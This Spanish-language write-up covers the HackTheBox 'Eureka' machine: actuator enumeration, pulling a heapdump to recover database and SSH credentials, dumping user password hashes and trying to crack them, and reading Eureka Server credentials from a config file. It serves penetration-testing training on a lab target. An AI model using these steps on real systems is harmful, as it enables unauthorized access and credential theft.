This page looks best with JavaScript enabled

HackTheBox - Eureka

Eureka corre una aplicacion SpringBoot donde obtuvimos un volcado de memoria que contenia credenciales para acceso inicial. Descubrimos Netflix Eureka donde realizamos Traffic Hijack a una instancia que aceptaba credenciales desde un cronjob, estas permitieron el acceso a un segundo usuario. Finalmente escalamos privilegios tras analizar un script en bash ejecutado por root.

Nombre Eureka box_img_maker
OS

Linux

Puntos 40
Dificultad Hard
Fecha de Salida 2025-04-26
IP None
Maker

Spectra199

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [21, 11, 56, 94, 157, 168, 250, 86, 18, 16],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80, 8087) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.95 scan initiated Fri May  2 00:19:23 2025 as: /usr/lib/nmap/nmap --privileged -p22,80,8761 -sV -sC -oN nmap_scan 10.10.11.66
Nmap scan report for furni.htb (10.10.11.66)
Host is up (0.078s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Furni | Home
8761/tcp open  http    Apache Tomcat (language: en)
|_http-title: Site doesn't have a title.
| http-auth: 
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May  2 00:19:37 2025 -- 1 IP address (1 host up) scanned in 14.88 seconds

Web Site

El sitio web nos redirige al dominio furni.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.10.11.66
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 01 May 2025 22:40:17 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://furni.htb/

El sitio es una tienda en linea.

image

Se muestra una lista de productos disponibles.

image

Existe formulario de registro y login.

image
image

Un blog con multiples entradas y la posibilidad de realizar comentarios.

image
image

Puerto 8087

En el puerto 8087 son necesarias credenciales.

image

Directory Brute Forcing

feroxbuster muestra los recursos estaticos del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
❯ feroxbuster -u http://furni.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://furni.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       73l      157w     1809c http://furni.htb/static/js/custom.js
200      GET        9l      104w     1201c http://furni.htb/static/images/support.svg
200      GET        3l       50w     2177c http://furni.htb/static/css/tiny-slider.css
200      GET        4l       23w      244c http://furni.htb/static/images/cross.svg
404      GET        7l       12w      162c http://furni.htb/static/images/favicon.png
200      GET        6l       62w      800c http://furni.htb/static/images/return.svg
200      GET        6l       79w     1002c http://furni.htb/static/images/truck.svg
200      GET        5l       73w      761c http://furni.htb/static/images/bag.svg
200      GET       10l       88w      890c http://furni.htb/static/images/envelope-outline.svg
200      GET        4l       64w      555c http://furni.htb/static/images/user.svg
200      GET        5l       93w      814c http://furni.htb/static/images/cart.svg
200      GET      711l     2053w    20707c http://furni.htb/static/css/style.css
200      GET        2l      517w    31737c http://furni.htb/static/js/tiny-slider.js
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        6l     1029w    78080c http://furni.htb/static/js/bootstrap.bundle.min.js
403      GET        7l       10w      162c http://furni.htb/static/images/
403      GET        7l       10w      162c http://furni.htb/static/
200      GET      466l     2775w   216716c http://furni.htb/static/images/product-3.png
200      GET      331l     2201w   186760c http://furni.htb/static/images/product-1.png
200      GET        6l     2003w   163826c http://furni.htb/static/css/bootstrap.min.css
403      GET        7l       10w      162c http://furni.htb/static/css/
200      GET     1411l     7451w   619723c http://furni.htb/static/images/couch.png
403      GET        7l       10w      162c http://furni.htb/static/js/
200      GET      513l     2968w   364489c http://furni.htb/static/images/img-grid-2.jpg
200      GET       28l       83w     1550c http://furni.htb/login
200      GET      899l     5913w   667689c http://furni.htb/static/images/post-2.jpg
200      GET      569l     3442w   284339c http://furni.htb/static/images/product-2.png
200      GET      535l     3806w   414946c http://furni.htb/static/images/img-grid-3.jpg
200      GET      734l     4989w   510519c http://furni.htb/static/images/post-1.jpg
200      GET      894l     5474w   514630c http://furni.htb/static/images/post-3.jpg
200      GET      277l     1401w    95869c http://furni.htb/static/images/person.png
302      GET        0l        0w        0c http://furni.htb/cart => http://furni.htb/login
200      GET      449l     1140w    14351c http://furni.htb/about
200      GET      432l     1135w    14173c http://furni.htb/services
200      GET     1078l     6167w   487968c http://furni.htb/static/images/sofa.png
200      GET      303l      829w    10738c http://furni.htb/contact
301      GET        7l       12w      178c http://furni.htb/static/images/blogs => http://furni.htb/static/images/blogs/
200      GET     3096l    18300w  1972271c http://furni.htb/static/images/img-grid-1.jpg
200      GET     1393l     6087w   705961c http://furni.htb/static/images/why-choose-us-img.jpg
200      GET      352l      912w    12412c http://furni.htb/shop
200      GET      398l     1025w    13568c http://furni.htb/blog
200      GET      145l      793w    10004c http://furni.htb/blog/1
200      GET      136l      711w     8823c http://furni.htb/blog/2
200      GET      136l      708w     8830c http://furni.htb/blog/3
301      GET        7l       12w      178c http://furni.htb/static/css => http://furni.htb/static/css/
200      GET      161l     1545w   135044c http://furni.htb/static/images/person_3.jpg
200      GET      207l     1590w   127637c http://furni.htb/static/images/person_2.jpg
200      GET      242l     1514w   153102c http://furni.htb/static/images/person_1.jpg
301      GET        7l       12w      178c http://furni.htb/static/images => http://furni.htb/static/images/
301      GET        7l       12w      178c http://furni.htb/static/js => http://furni.htb/static/js/
200      GET      549l     1497w    18854c http://furni.htb/
301      GET        7l       12w      178c http://furni.htb/static/images/products => http://furni.htb/static/images/products/
200      GET        0l        0w        0c http://furni.htb/blog/5
200      GET        0l        0w        0c http://furni.htb/blog/6
200      GET      734l     4989w   510519c http://furni.htb/static/images/blogs/3.jpg
200      GET      894l     5474w   514630c http://furni.htb/static/images/blogs/5.jpg
200      GET      136l      567w     8167c http://furni.htb/blog/4
200      GET      535l     3080w   225469c http://furni.htb/static/images/blogs/2.jpg
200      GET     1013l     5858w   458359c http://furni.htb/static/images/blogs/6.jpg
200      GET      899l     5913w   667689c http://furni.htb/static/images/blogs/4.jpg
200      GET     2349l    13251w   827047c http://furni.htb/static/images/blogs/1.jpg
302      GET        0l        0w        0c http://furni.htb/checkout => http://furni.htb/login
302      GET        0l        0w        0c http://furni.htb/comment => http://furni.htb/login
500      GET        1l        1w       73c http://furni.htb/error
200      GET       21l       64w     1159c http://furni.htb/logout
405      GET        1l        3w      114c http://furni.htb/process_register
200      GET      254l      613w     9028c http://furni.htb/register
302      GET        0l        0w        0c http://furni.htb/cart/add => http://furni.htb/login
200      GET      569l     3442w   284339c http://furni.htb/static/images/products/2.png
200      GET      578l     3061w   232386c http://furni.htb/static/images/products/8.png
200      GET      607l     3098w   254672c http://furni.htb/static/images/products/6.png
200      GET     1078l     6167w   487968c http://furni.htb/static/images/products/5.png
200      GET      591l     3219w   219057c http://furni.htb/static/images/products/7.png
200      GET      486l     2338w   210208c http://furni.htb/static/images/products/3.png
200      GET      331l     2201w   186760c http://furni.htb/static/images/products/1.png
200      GET      466l     2775w   216716c http://furni.htb/static/images/products/4.png

La pagina /error muestra un mensaje relacionado a SpringBoot similar a HTB - Cozyhosting.

image

SpringBoot

Actuators

Realizamos una enumeracion de actuators con ffuf especificando un wordlist en referencia a la documentacion. Encontramos trece endpoints.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
❯ ffuf -w actuators-spring-boot-wordlist -u http://furni.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://furni.htb/FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/eureka/actuators-spring-boot-wordlist
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

actuator                [Status: 200, Size: 2129, Words: 1, Lines: 1, Duration: 168ms]
:: Progress: [27/27] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
❯ ffuf -w actuators-spring-boot-wordlist -u http://furni.htb/actuator/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://furni.htb/actuator/FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/eureka/actuators-spring-boot-wordlist
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

heapdump                [Status: 200, Size: 80165337, Words: 0, Lines: 0, Duration: 0ms]
metrics                 [Status: 200, Size: 3356, Words: 1, Lines: 1, Duration: 112ms]
health                  [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 395ms]
info                    [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 403ms]
mappings                [Status: 200, Size: 35560, Words: 362, Lines: 1, Duration: 401ms]
caches                  [Status: 200, Size: 20, Words: 1, Lines: 1, Duration: 1215ms]
scheduledtasks          [Status: 200, Size: 54, Words: 1, Lines: 1, Duration: 1214ms]
env                     [Status: 200, Size: 6307, Words: 94, Lines: 1, Duration: 1214ms]
loggers                 [Status: 200, Size: 101945, Words: 1, Lines: 1, Duration: 1214ms]
beans                   [Status: 200, Size: 202254, Words: 913, Lines: 1, Duration: 888ms]
conditions              [Status: 200, Size: 184221, Words: 5691, Lines: 1, Duration: 889ms]
threaddump              [Status: 200, Size: 568537, Words: 5, Lines: 1, Duration: 1213ms]
configprops             [Status: 200, Size: 37195, Words: 43, Lines: 1, Duration: 5615ms]
:: Progress: [27/27] :: Job [1/1] :: 4 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

Mappings

/mappings muestra todas las “rutas” definidas para la aplicacion.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
❯ curl -s http://furni.htb/actuator/mappings | jq '.contexts.Furni.mappings.dispatcherServlets.dispatcherServlet[] | {handler: .handler,
  predicate: .predicate,
  name: .details.handlerMethod.name,
  methods: .details.requestMappingConditions.methods,
  patterns: .details.requestMappingConditions.patterns
}'

# [... snip ...]
{
  "handler": "com.eureka.Furni.Controller.CartController#viewCartPage(Model)",
  "predicate": "{GET [/cart]}",
  "name": "viewCartPage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/cart"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.BlogController#getAllBlogs(Model)",
  "predicate": "{GET [/blog]}",
  "name": "getAllBlogs",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/blog"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.WebController#viewContactPage(Model)",
  "predicate": "{GET [/contact]}",
  "name": "viewContactPage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/contact"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.WebController#viewHomePage(Model)",
  "predicate": "{GET [/]}",
  "name": "viewHomePage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/"
  ]
}
{
  "handler": "org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController#errorHtml(HttpServletRequest, HttpServletResponse)",
  "predicate": "{ [/error], produces [text/html]}",
  "name": "errorHtml",
  "methods": [],
  "patterns": [
    "/error"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.WebController#viewSubscribeThankyouPage(Model)",
  "predicate": "{GET [/subscribe/thankyou]}",
  "name": "viewSubscribeThankyouPage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/subscribe/thankyou"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.BlogController#visitBlog(Model, Long)",
  "predicate": "{GET [/blog/{blogId}]}",
  "name": "visitBlog",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/blog/{blogId}"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.WebController#processContactPage(Model, String, String, String, String)",
  "predicate": "{POST [/contact]}",
  "name": "processContactPage",
  "methods": [
    "POST"
  ],
  "patterns": [
    "/contact"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.WebController#viewCheckoutThankyouPage(Model)",
  "predicate": "{GET [/checkout/thankyou]}",
  "name": "viewCheckoutThankyouPage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/checkout/thankyou"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.CommentController#addComment(Long, String)",
  "predicate": "{POST [/comment/add/{blogId}]}",
  "name": "addComment",
  "methods": [
    "POST"
  ],
  "patterns": [
    "/comment/add/{blogId}"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.CartController#addToCart(Long)",
  "predicate": "{GET [/cart/add/{furnitureId}]}",
  "name": "addToCart",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/cart/add/{furnitureId}"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.CartController#viewCheckoutPage(Model)",
  "predicate": "{GET [/checkout]}",
  "name": "viewCheckoutPage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/checkout"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.CartController#checkoutProceed(String, String, String, String, String, String, String, String)",
  "predicate": "{POST [/checkout/proceed]}",
  "name": "checkoutProceed",
  "methods": [
    "POST"
  ],
  "patterns": [
    "/checkout/proceed"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.WebController#viewServicesPage(Model)",
  "predicate": "{GET [/services]}",
  "name": "viewServicesPage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/services"
  ]
}
{
  "handler": "org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController#error(HttpServletRequest)",
  "predicate": "{ [/error]}",
  "name": "error",
  "methods": [],
  "patterns": [
    "/error"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.WebController#viewAboutPage(Model)",
  "predicate": "{GET [/about]}",
  "name": "viewAboutPage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/about"
  ]
}
{
  "handler": "com.eureka.Furni.Controller.FurnitureController#viewShopPage(Model, String)",
  "predicate": "{GET [/shop]}",
  "name": "viewShopPage",
  "methods": [
    "GET"
  ],
  "patterns": [
    "/shop"
  ]
}
{
  "handler": "ResourceHttpRequestHandler [classpath [META-INF/resources/webjars/]]",
  "predicate": "/webjars/**",
  "name": null,
  "methods": null,
  "patterns": null
}
{
  "handler": "ResourceHttpRequestHandler [classpath [META-INF/resources/], classpath [resources/], classpath [static/], classpath [public/], ServletContext [/]]",
  "predicate": "/**",
  "name": null,
  "methods": null,
  "patterns": null
}

HeapDump

/heapdump realiza un volcado de memoria retornando un archivo, como se describe:

Returns a heap dump file. On a HotSpot JVM, an HPROF-format file is returned. On an OpenJ9 JVM, a PHD-format file is returned.

Descargamos el archivo, file muestra el formato HPROF.

1
2
3
4
5
6
7
❯ curl http://furni.htb/actuator/heapdump -o heapdump_furni
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 76.4M  100 76.4M    0     0  3655k      0  0:00:21  0:00:21 --:--:-- 4853k
❯ file heapdump_furni
heapdump_furni: Java HPROF dump, created Thu Aug  1 18:29:32 2024

HeapDump Analysis

Utilizamos Memory Analyzer (MAT) para abrir y analizar el archivo. Ejecutamos MemoryAnalyzer.

1
2
3
❯ ./MemoryAnalyzer
VMware: No 3D enabled (0, Success).
libEGL warning: egl: failed to create dri2 screen

Tras la carga del archivo, seleccionamos la primera opcion.

image

Este nos generaria un reporte con informacion del archivo.

image

Vemos informacion sobre el archivo y sistema.

image
image

Utilizamos la interfaz de OQL (Object Query Language) para ejecucion de un query para busqueda de strings que contengan password.

1
SELECT s FROM java.lang.String s WHERE s.toString().contains("password")

Entre ellos encontramos la conexion y credenciales de acceso a la base de datos MySQL.

image

1
jdbc:mysql://localhost:3306/Furni_WebApp_DB\uffa7{password=0sc@r190_S0l!dP@sswd, user=oscar190}

User - oscar190

Utilizamos estas credenciales por el servicio SSH logrando el acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
❯ ssh oscar190@10.10.11.66
oscar190@10.10.11.66's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu 10 Apr 2025 07:41:57 AM UTC

  System load:           0.04
  Usage of /:            84.1% of 8.02GB
  Memory usage:          44%
  Swap usage:            0%
  Processes:             248
  Users logged in:       1
  IPv4 address for eth0: 10.129.232.19
  IPv6 address for eth0: dead:beef::250:56ff:feb9:f97


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri May 2 01:33:02 2025 from 10.10.15.38
oscar190@eureka:~$ export TERM=xterm
oscar190@eureka:~$ whoami;id;pwd
oscar190
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)
/home/oscar190
oscar190@eureka:~$

Database

Utilizamos las credenciales con mysql, encontramos usuarios con su respectivo hash en la base de datos Furni_WebApp_DB.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
oscar190@eureka:~$ mysql -u oscar190 -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 300
Server version: 10.3.39-MariaDB-0ubuntu0.20.04.2 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| Furni_WebApp_DB    |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use Furni_WebApp_DB;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [Furni_WebApp_DB]> show tables;
+---------------------------+
| Tables_in_Furni_WebApp_DB |
+---------------------------+
| SPRING_SESSION            |
| SPRING_SESSION_ATTRIBUTES |
| blogs                     |
| cart                      |
| cart_items                |
| cart_product              |
| cart_product_seq          |
| cart_seq                  |
| carts                     |
| category                  |
| category_seq              |
| comment                   |
| customer                  |
| customer_seq              |
| furniture                 |
| product                   |
| product_id                |
| product_seq               |
| users                     |
+---------------------------+
19 rows in set (0.001 sec)

MariaDB [Furni_WebApp_DB]> describe users;
+------------+-------------+------+-----+---------+----------------+
| Field      | Type        | Null | Key | Default | Extra          |
+------------+-------------+------+-----+---------+----------------+
| id         | bigint(20)  | NO   | PRI | NULL    | auto_increment |
| first_name | varchar(20) | NO   |     | NULL    |                |
| last_name  | varchar(20) | NO   |     | NULL    |                |
| email      | varchar(45) | NO   | UNI | NULL    |                |
| password   | varchar(64) | NO   |     | NULL    |                |
| is_staff   | tinyint(1)  | NO   |     | 0       |                |
+------------+-------------+------+-----+---------+----------------+
6 rows in set (0.001 sec)

MariaDB [Furni_WebApp_DB]> select first_name,email,password,is_staff from users;
+------------+-------------------------+--------------------------------------------------------------+----------+
| first_name | email                   | password                                                     | is_staff |
+------------+-------------------------+--------------------------------------------------------------+----------+
| Kamel      | k.mossab110@eloquia.htb | $2a$10$J4yap5ZxviliZO9jBCuSdeD.7LzL3/njVpNhnG85HCcwA05ulUrzW |        0 |
| Lorra      | lorra199@gmail.com      | $2a$10$DgUDWpxipW2Yt7UcKxzvweB7FXoV/LFxlJG8yuL56NyUMMLr5uBuK |        0 |
| Martin     | mwood@gmail.com         | $2a$10$3LDYl5QEt4K4u8vLWMGH8eDA/fNKVquhHNbyijaDzzueKHAwi6bHO |        0 |
| Roberto    | roberto0xd@outlook.com  | $2a$10$4TLCSlEfYrNDFfPDQ5z4p.S6gImA8NKAGn2tyqLJyG71l9iQoTDhu |        0 |
| Miranda    | miranda.wise@furni.htb  | $2a$10$T4L873JALnbXH10tq.mEbOOVYmZPLlBBSeD1h2hqAeX6nbTDXMyqm |        1 |
| Oscar      | oscar190@furni.htb      | $2a$10$ye9a40a7KOyBJKUai2qxY.fcfVQGlFTM3SVSVcn82wxQf/2zYPq96 |        1 |
| Nya        | nya190@furni.htb        | $2a$10$GZQOgzb4N1xVs3ALpnuqGeId5/mZLL8pv5GlkRzJfxdFxO/JIkIaK |        1 |
| lucas      | logok12976@pelung.com   | $2a$10$J93xmU0.yP0/oZmoV9K4u.XvYHtl.kunSX9xoe2RACqKcitM4OjlC |        0 |
+------------+-------------------------+--------------------------------------------------------------+----------+
8 rows in set (0.000 sec)

MariaDB [Furni_WebApp_DB]>

El hash es tipo bcrypt, intentamos crackear el hash de miranda-wise pero despues de un cierto tiempo nos saltamos los hashes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
PS C:\Users\sckull\Documents\hashcat-6.2.6> .\hashcat.exe -m 3200 ../hash/hash_miranda_eureka rockyou.txt
hashcat (v6.2.6) starting

[... snip ...]

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$T4L873JALnbXH10tq.mEbOOVYmZPLlBBSeD1h2hqAeX6...DXMyqm
Time.Started.....: Tue May 06 18:59:28 2025 (40 secs)
Time.Estimated...: Tue May 06 21:47:33 2025 (2 hours, 47 mins)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1422 H/s (6.20ms) @ Accel:1 Loops:16 Thr:24 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 56448/14344385 (0.39%)
Rejected.........: 0/56448 (0.00%)
Restore.Point....: 56448/14344385 (0.39%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1008-1024
Candidate.Engine.: Device Generator
Candidates.#1....: pretty09 -> donaldson
Hardware.Mon.#1..: Temp: 41c Fan:  0% Util: 98% Core:2775MHz Mem:8250MHz Bus:8

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q

Session..........: hashcat
Status...........: Quit
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$T4L873JALnbXH10tq.mEbOOVYmZPLlBBSeD1h2hqAeX6...DXMyqm
Time.Started.....: Tue May 06 18:59:28 2025 (1 hour, 44 mins)
Time.Estimated...: Tue May 06 21:49:14 2025 (1 hour, 5 mins)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1411 H/s (6.23ms) @ Accel:1 Loops:16 Thr:24 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 8812942/14344385 (61.44%)
Rejected.........: 142/8812942 (0.00%)
Restore.Point....: 8812942/14344385 (61.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:240-256
Candidate.Engine.: Device Generator
Candidates.#1....: damily123 -> damianluuk
Hardware.Mon.#1..: Temp: 53c Fan:  0% Util: 98% Core:2760MHz Mem:8250MHz Bus:8

Started: Tue May 06 18:59:23 2025
Stopped: Tue May 06 20:43:55 2025
PS C:\Users\sckull\Documents\hashcat-6.2.6>

Eureka Server

En el directorio /var/www/web encontramos multiples aplicaciones, entre ellas Eureka Server la cual esta corriendo en el puerto 8781, se muestran las credenciales de acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
oscar190@eureka:/var/www/web$ ll
total 28
drwxrwxr-x 7 www-data developers 4096 Mar 18 21:19 ./
drwxr-xr-x 4 root     root       4096 Apr 10 07:25 ../
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 cloud-gateway/
drwxrwxr-x 5 www-data developers 4096 Aug  5  2024 Eureka-Server/
drwxrwxr-x 5 www-data developers 4096 Aug  5  2024 Furni/
drwxrwxr-x 6 www-data developers 4096 Jul 23  2024 static/
drwxrwxr-x 6 www-data developers 4096 Mar 19 22:07 user-management-service/
oscar190@eureka:/var/www/web$
oscar190@eureka:/var/www/web$ cat Eureka-Server/src/main/resources/application.yaml
spring:
  application:
    name: "Eureka Server"

  security:
    user:
      name: EurekaSrvr
      password: 0scarPWDisTheB3st

server:
  port: 8761
  address: 0.0.0.0

eureka:
  client:
    register-with-eureka: false
    fetch-registry: false
oscar190@eureka:/var/www/web$

Tras acceder se listan instancias registradas.

image

El archivo pom.xml muestra las dependencias de la aplicacion se lista: spring-cloud-starter-netflix-eureka-server.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
oscar190@eureka:/var/www/web$ cat Eureka-Server/pom.xml 
<?xml version="1.0" encoding="UTF-8"?>
